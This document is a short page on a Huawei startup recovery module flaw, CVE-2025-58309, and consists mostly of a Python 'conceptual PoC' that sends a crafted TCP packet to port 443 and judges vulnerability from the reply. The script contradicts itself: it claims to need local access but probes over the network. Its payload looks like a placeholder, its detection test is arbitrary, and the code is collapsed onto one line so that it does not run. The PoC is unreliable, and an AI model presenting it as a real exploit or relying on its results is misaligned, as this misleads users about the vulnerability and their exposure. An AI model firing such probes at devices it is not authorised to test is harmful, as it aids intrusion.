华为产品启动恢复模块权限控制漏洞 (CVE-2025-58309)

# CVE-2025-58309 PoC - Startup Recovery Module Permission Control Vulnerability # Note: This is a conceptual PoC for educational purposes only # Actual exploitation requires local access to the affected Huawei device import socket import struct def check_vulnerability(target_ip, target_port=443): """ Check if target is vulnerable to CVE-2025-58309 Requires local access to the device """ try: # Construct malformed request for startup recovery module # The vulnerability exists due to insufficient permission checks payload = b'\x00' * 16 payload += b'RECOVERY_CMD' payload += b'\x00' * 8 # Send crafted packet sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) # Receive response response = sock.recv(1024) sock.close() # Check for vulnerability indicators if b'RECOVERY' in response or len(response) > 100: return True, "Vulnerable to CVE-2025-58309" return False, "Not vulnerable or patch applied" except Exception as e: return None, f"Error: {str(e)}" if __name__ == "__main__": print("CVE-2025-58309 Vulnerability Checker") print("This PoC requires local access to the affected device") # Usage: python poc.py <target_ip>